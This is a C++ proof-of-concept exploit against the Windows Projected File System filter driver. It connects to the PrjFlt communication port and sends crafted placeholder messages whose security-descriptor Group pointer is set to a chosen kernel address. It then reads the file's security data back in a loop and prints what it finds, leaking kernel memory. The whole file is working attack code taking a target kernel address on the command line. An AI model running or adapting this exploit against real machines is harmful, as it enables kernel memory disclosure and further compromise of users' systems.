// FltTest.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include <iostream>
#include <Windows.h>

#include <projectedfslib.h>
#pragma comment(lib, "projectedfslib.lib")

#include <fltuser.h>
#pragma comment(lib, "FltLib.lib")

#include <aclapi.h>
#pragma comment(lib, "Advapi32.lib")


PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle;
WCHAR gszWindowsDrive[MAX_PATH + 1];
WCHAR gszRootDir[MAX_PATH + 1];
LPCWSTR gszRootName = L"virtRoot";

DWORD64 gdwTargetAddress = 0;


struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT
{
	GUID virtualizationInstanceID;
	unsigned int Version;
	USHORT VolumeLength;
	WCHAR szVolume[256];
};


void PrintInstanceId() {
	PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
	HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		return;
	}

	OLECHAR* guidString;
	StringFromCLSID(InstanceInfo.InstanceID, &guidString);
	wprintf(L"InstanceId: %s\n", guidString);


	LPCOLESTR lpsz = guidString;
	GUID InstanceId;
	hr = CLSIDFromString(lpsz, &InstanceId);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		return;
	}

	CoTaskMemFree(guidString);
}

LONG DeleteDirectory(LPCWSTR szDir)
{
	SHFILEOPSTRUCTW fos = { 0 };

	// delete the folder and everything inside
	fos.wFunc = FO_DELETE;
	fos.pFrom = szDir;
	fos.fFlags = FOF_NO_UI;
	return SHFileOperation(&fos);
}

void CreateVirtualizationRoot() {

	HRESULT hr;

	const wchar_t* rootName = gszRootDir;

	DeleteDirectory(rootName);
	RemoveDirectoryW(rootName);

	if (!CreateDirectoryW(rootName, nullptr))
	{
		hr = HRESULT_FROM_WIN32(GetLastError());
		wprintf(L"Failed to create virtualization root (0x%08x)\n", hr);
		return;
	}

	GUID instanceId;

	hr = CoCreateGuid(&instanceId);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		return;
	}

	hr = PrjMarkDirectoryAsPlaceholder(rootName,
		nullptr,
		nullptr,
		&instanceId);
	if (FAILED(hr))
	{
		wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr);
		return;
	}

}

HRESULT MyStartEnumCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	const GUID* enumerationId
)
{
	return S_OK;
}

HRESULT MyEndEnumCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	const GUID* enumerationId
)
{
	return S_OK;
}

HRESULT MyGetEnumCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	const GUID* enumerationId,
	PCWSTR searchExpression,
	PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle
)
{
	return S_OK;
}

HRESULT MyGetPlaceholderInfoCallback(
	const PRJ_CALLBACK_DATA* callbackData
)
{
	//getchar();
	return S_OK;
}

HRESULT MyGetFileDataCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	UINT64 byteOffset,
	UINT32 length
)
{
	return S_OK;
}

void StartVirtualizatioInstance() {
	PRJ_CALLBACKS callbackTable;

	// Supply required callbacks.
	callbackTable.StartDirectoryEnumerationCallback = MyStartEnumCallback;
	callbackTable.EndDirectoryEnumerationCallback = MyEndEnumCallback;
	callbackTable.GetDirectoryEnumerationCallback = MyGetEnumCallback;
	callbackTable.GetPlaceholderInfoCallback = MyGetPlaceholderInfoCallback;
	callbackTable.GetFileDataCallback = MyGetFileDataCallback;

	// The rest of the callbacks are optional.
	callbackTable.QueryFileNameCallback = nullptr;
	callbackTable.NotificationCallback = nullptr;
	callbackTable.CancelCommandCallback = nullptr;

	HRESULT hr;
	const wchar_t* rootName = gszRootDir;

	PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle;
	hr = PrjStartVirtualizing(rootName,
		&callbackTable,
		nullptr,
		nullptr,
		&instanceHandle);
	if (FAILED(hr))
	{
		wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr);
		return;
	}

	gInstanceHandle = instanceHandle;
}


struct _PRJ_MSG_IN_HEADER
{
	int MessageType;
	int InputBufferSize;
};


struct _PRJ_VIR_INSTANCE_INFO
{
	GUID virtualizationInstanceID;
	int Tag;
};


struct _PRJ_FILE_BASIC_INFO
{
	BOOLEAN IsDirectory;
	INT64 FileSize;
	LARGE_INTEGER CreationTime;
	LARGE_INTEGER LastAccessTime;
	LARGE_INTEGER LastWriteTime;
	LARGE_INTEGER ChangeTime;
	UINT32 FileAttributes;
};

enum _PRJ_UPDATE_TYPES
{
	PRJ_UPDATE_ALLOW_PLACEHOLDER = 0x8,
	PRJ_UPDATE_ALLOW_HARDLINK = 0x10,
};

struct _PRJ_PLACEHOLDER_INFO
{
	_PRJ_FILE_BASIC_INFO BasicInfo;
	ULONG EaLength;
	ULONG EaBufferOffset;
	ULONG SdLength;
	ULONG SdOffset;
	int _48;
	int _4c;
	PRJ_PLACEHOLDER_VERSION_INFO VersionInfo;
	//char EaBuffer[0xf];
	//char SecurityDescriptor[1];
	_SECURITY_DESCRIPTOR SecurityDescriptor;
};

struct __declspec(align(2)) _PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_IN_DATA
{
	ULONG DataSize;
	int InfoType;
	_PRJ_VIR_INSTANCE_INFO VirInstanceInfo;
	char _1c[60];
	ULONG RelPathOffset;
	USHORT RelPathLength;
	ULONG InfoOffset;
	ULONG InfoSize;
	ULONG SymlinkSubstituteNameBufferOffset;
	ULONG SymlinkPrintNameBufferOffset;
	USHORT SymlinkSubstituteNameLength;
	USHORT SymlinkPrintNameLength;
	int BitMap;
	WCHAR RelBuffer[0x100/2];
	_PRJ_PLACEHOLDER_INFO PlaceholderInfo;
	WCHAR SymlinkSubstituteName[0x100];
};

struct _PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_BUFFER
{
	_PRJ_MSG_IN_HEADER Header;
	_PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_IN_DATA Data;
};


struct _PRJ_MSG_OUT_HEADER
{
	int MessageType;
	int Size;
	int Status;
	char Data[256];
};

int GetSidSize(_SID* Sid) {
	int Size = 8 + Sid->SubAuthorityCount * 4;
	return Size;
}
void PrintSid(_SID* Sid) {
	int Size = GetSidSize(Sid);

	printf("Size: 0x%02x\n", Size);
	char* buf = (char*)Sid;
	for (int i = 0; i < Size; i++)
	{
		if (i != 0 && i % 8 == 0 && i % 16 != 0) {
			printf("-");
			
		} else if (i > 0)
		{
			printf(" ");
		}
		
		
		if (i % 16 == 0 && i != 0) {
			printf("\n");
		}

		printf("%02x", (unsigned)(unsigned char)buf[i]);
		
	}
	printf("\n");
}

void PrintAcl(ACL* Acl) {
	int Size = Acl->AclSize;

	printf("Size: 0x%02x\n", Size);
	char* buf = (char*)Acl;
	for (int i = 0; i < Size; i++)
	{
		if (i != 0 && i % 8 == 0 && i % 16 != 0) {
			printf("-");

		}
		else if (i > 0)
		{
			printf(" ");
		}


		if (i % 16 == 0 && i != 0) {
			printf("\n");
		}

		printf("%02x", (unsigned)(unsigned char)buf[i]);

	}
	printf("\n");
}

void PrintFileSd(LPCWSTR szFilePath, SECURITY_INFORMATION SecurityInfo) {
	PSID psidOwner = NULL;
	PSID psidGroup = NULL;
	PACL pDacl = NULL;
	PACL pSacl = NULL;
	PSECURITY_DESCRIPTOR pSecurityDescriptor = NULL;

	DWORD dwResult = GetNamedSecurityInfoW(szFilePath, SE_FILE_OBJECT, SecurityInfo,
		&psidOwner,
		&psidGroup,
		&pDacl,
		&pSacl,
		&pSecurityDescriptor
	);

	
	if (dwResult != 0) {
		printf("PrintFileSd: GetNamedSecurityInfoW dwResult:%x\n", dwResult);
		getchar();
		return;
	}

	if (psidGroup) {
		PrintSid((_SID*)psidGroup);
	}
	else if(SecurityInfo & GROUP_SECURITY_INFORMATION){
		printf("PrintFileSd: returned psidGroup is NULL.\n", dwResult);
		getchar();
	}

	if (psidOwner) {
		PrintSid((_SID*)psidOwner);
	}

	if (pDacl) {
		PrintAcl(pDacl);
	}

	if (pSacl) {
		PrintAcl(pDacl);
	}

	Sleep(300);
}

void PrjfWritePlaceholderInformationHandler()
{
	CreateVirtualizationRoot();
	StartVirtualizatioInstance();
	PrintInstanceId();

	HANDLE hPort = NULL;

	PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
	HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		return;
	}
	GUID InstanceId = InstanceInfo.InstanceID;

	_PRJ_CONNECTION_CONTEXT Context;
	Context.VolumeLength = 0x100;
	Context.Version = 1;
	Context.virtualizationInstanceID = InstanceId;
	//wcscpy_s(Context.szVolume, L"\\Device\\HarddiskVolume2");
	wcscpy_s(Context.szVolume, gszWindowsDrive);
	ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT);

	HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort);

	printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort);

	DWORD   InputBufferLength = 0x1000;
	PVOID   InputBuffer = malloc(InputBufferLength);

	DWORD   OutputBufferLength = 0x1000;
	PVOID   OutputBuffer = malloc(OutputBufferLength);

	memset(InputBuffer, 0, InputBufferLength);
	memset(OutputBuffer, 0, OutputBufferLength);

	DWORD BytesReturned = 0;

	_PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_BUFFER Message = { 0 };

	memset(&Message, 0, sizeof(Message));

	Message.Header.MessageType = 3;
	Message.Header.InputBufferSize = sizeof(Message);
	Message.Data.DataSize = sizeof(_PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_IN_DATA);


	Message.Data.InfoType = PRJ_UPDATE_ALLOW_PLACEHOLDER;
	Message.Data.VirInstanceInfo.Tag = 0x9000001C;
	Message.Data.VirInstanceInfo.virtualizationInstanceID = InstanceId;
	Message.Data.RelPathOffset = 0x78;
	Message.Data.RelPathLength = 0x100;
	Message.Data.InfoOffset = 0x78 + 0x100;
	Message.Data.InfoSize = sizeof(_PRJ_PLACEHOLDER_INFO);
	Message.Data.PlaceholderInfo.SdOffset = 0x150;
	Message.Data.PlaceholderInfo.SdLength = 1;
	Message.Data.PlaceholderInfo.SecurityDescriptor.Revision = 1;
	Message.Data.RelBuffer[0] = L'0';

	memcpy(InputBuffer, &Message, sizeof(Message));
	InputBufferLength = Message.Header.InputBufferSize;

	DWORD64 BaseAddr = gdwTargetAddress;
	DWORD64 TargetAddr = BaseAddr;

	int FileIndex = 0;

	WCHAR szFilePath[MAX_PATH + 1] = { 0 };
	int Offset = 0;

	printf("BaseAddress: 0x%I64x\n", BaseAddr);

	
	//SECURITY_INFORMATION SecurityInfo = OWNER_SECURITY_INFORMATION;
	SECURITY_INFORMATION SecurityInfo = GROUP_SECURITY_INFORMATION;
	//SECURITY_INFORMATION SecurityInfo = DACL_SECURITY_INFORMATION;
	//SECURITY_INFORMATION SecurityInfo = SACL_SECURITY_INFORMATION;

	while (1) {

		TargetAddr = BaseAddr + Offset;

		_PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_BUFFER* pMessage = (_PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_BUFFER*)InputBuffer;

		//pMessage->Data.PlaceholderInfo.SecurityDescriptor.Owner = (PSID)TargetAddr;
		//pMessage->Data.PlaceholderInfo.SecurityDescriptor.Control = SE_GROUP_DEFAULTED;
		pMessage->Data.PlaceholderInfo.SecurityDescriptor.Group = (PSID)TargetAddr;
		//pMessage->Data.PlaceholderInfo.SecurityDescriptor.Dacl = (PACL)TargetAddr;
		//pMessage->Data.PlaceholderInfo.SecurityDescriptor.Control = SE_DACL_PRESENT;
		//pMessage->Data.PlaceholderInfo.SecurityDescriptor.Sacl = (PACL)TargetAddr;
		//pMessage->Data.PlaceholderInfo.SecurityDescriptor.Control = SE_SACL_PRESENT;
		

		hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned);
		_PRJ_MSG_OUT_HEADER* pOutData = (_PRJ_MSG_OUT_HEADER*)OutputBuffer;

		if (hResult != 0) {
			printf("PrjfWritePlaceholderInformationHandler FilterSendMessage hResult:%x\n", hResult);
			getchar();
		}
		else {

			//printf("PrjfWritePlaceholderInformationHandler  Status:%x\n", pOutData->Status);
			if (pOutData->Status == 0) {
				swprintf(szFilePath, MAX_PATH, L"%ls\\%ls", gszRootDir, pMessage->Data.RelBuffer);
				memset(pMessage->Data.RelBuffer, 0, 0x50);
				swprintf(pMessage->Data.RelBuffer, 0x50, L"%x", ++FileIndex);

				printf("\nTargetAddr: 0x%I64x\tOffset: 0x%x\t", TargetAddr, Offset);

				PrintFileSd(szFilePath, SecurityInfo);
			}
			else {
				printf("?");
			}
		}
		Offset++;
	}
}

bool gbDebugging = false;

void Prepare(int argc, WCHAR* argv[]) {
	
	GetWindowsDirectoryW(gszWindowsDrive, MAX_PATH);
	gszWindowsDrive[2] = 0;
	swprintf(gszRootDir, MAX_PATH, L"%s\\%s", gszWindowsDrive, gszRootName);

	if (gbDebugging) {
		gdwTargetAddress = 0xfffff802b5c00000;
		return;
	}

	if (argc < 2) {
		printf("Please input a kernel address as target in commandline, like 0xfffff803ca400000.\n");
		getchar();
		exit(1);
	}
	
	if (swscanf_s(argv[1], L"%I64x", &gdwTargetAddress) != 1) {
		printf("Failed to convert gdwTargetAddress from \"%ls\", please input a hex address.\n", argv[1]);
		getchar();
		exit(1);
	}
}

int wmain(int argc, WCHAR* argv[])
{
	Prepare(argc, argv);
	
	PrjfWritePlaceholderInformationHandler();


	return 0;
}